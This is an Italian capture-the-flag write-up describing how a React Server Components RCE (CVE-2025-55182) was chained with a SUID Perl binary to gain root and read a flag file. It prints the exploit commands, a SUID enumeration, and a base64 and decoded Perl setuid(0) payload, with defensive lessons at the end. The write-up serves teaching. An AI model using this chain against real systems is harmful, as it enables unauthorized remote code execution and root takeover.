
[First-Blood-XO] Endpoint del componente server React vulnerabile a CVE-2025-55182 (RCE) → binari SUID enumerati → /usr/bin/perl aveva SUID impostato → ha utilizzato Perl's POSIX setuid(0) per elevarsi a root → letto /root/flag.txt
Categoria: Web Exploitation | Difficoltà: Media | Vulnerabilità: Remote Code Execution → Privilege Escalation SUID
Endpoint di Componenti Server React vulnerabile a CVE-2025-55182 (RCE) → enumerati binari SUID → /usr/bin/perl aveva il bit SUID impostato → usato setuid(0) di Perl POSIX per escalare a root → letto /root/flag.txt.
Flag: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
Target: http://challenge.cybermesh.site:30035/
Il target era un'applicazione web basata su React che sfrutta React Server Components (RSC) — un'architettura relativamente nuova che esegue i componenti lato server e trasmette l'output serializzato al client tramite un formato wire personalizzato.
Questa architettura introduce un confine di esecuzione lato server. Una gestione impropria dell'input a quel confine è esattamente ciò che sfrutta CVE-2025-55182.
React Server Components RCE — Il server non riesce a sanitizzare l'input controllato dall'utente prima che raggiunga il livello di esecuzione dei componenti lato server. Ciò consente a un attaccante di iniettare comandi shell a livello OS che vengono eseguiti nel contesto del processo Node.js.
Flusso dell'attacco:
Esiste un PoC pubblico per questa CVE:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
Verifica iniziale — conferma RCE e contesto di esecuzione:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
Output:
[+] EXPLOITATION SUCCESSFUL
► app
Il server viene eseguito come utente app. Non root — escalation necessaria.
Scansione per binari SUID:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
Output:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl ha il bit SUID impostato. Questo è un noto GTFOBin — quando Perl è di proprietà di root e ha il bit SUID, viene eseguito con privilegi di root indipendentemente da chi lo invoca.
Costruito un payload Perl codificato in base64 che:
POSIX::setuid(0) per escalare a root/root/flag.txtConsegnato tramite l'endpoint RCE:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
Il payload decodificato è approssimativamente:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
Output:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. La superficie d'attacco degli RSC è sottovalutata. React Server Components sono un nuovo paradigma. Molte distribuzioni non sono state rafforzate contro l'iniezione di input al confine dei componenti server. Questa CVE ricorda che il "server-side rendering" non è intrinsecamente sicuro — il confine di esecuzione necessita comunque di una corretta sanitizzazione.
2. SUID su runtime di scripting = root immediato.
/usr/bin/perl con SUID è una configurazione errata da manuale. GTFOBins la tratta in dettaglio. Non impostare mai il bit SUID sui linguaggi di scripting (Perl, Python, Ruby, ecc.) — a differenza dei binari compilati progettati per SUID (su, passwd), questi runtime offrono percorsi di escalation banali.
3. La flag è autoconsapevole.
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — la challenge è stata esplicitamente progettata attorno a SUID Perl come percorso di escalation previsto. Catena pulita.
CVE-2025-55182 (RSC RCE)
└─> whoami → utente "app"
└─> trova binari SUID
└─> /usr/bin/perl (SUID root) identificato
└─> payload Perl in base64 → scritto in /tmp/p.pl
└─> perl SUID /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
Scritto da Abdullah Maqbool — Ingegnere di Penetration Testing @ TISS | CRTA · CRTOM · CompTIA PenTest+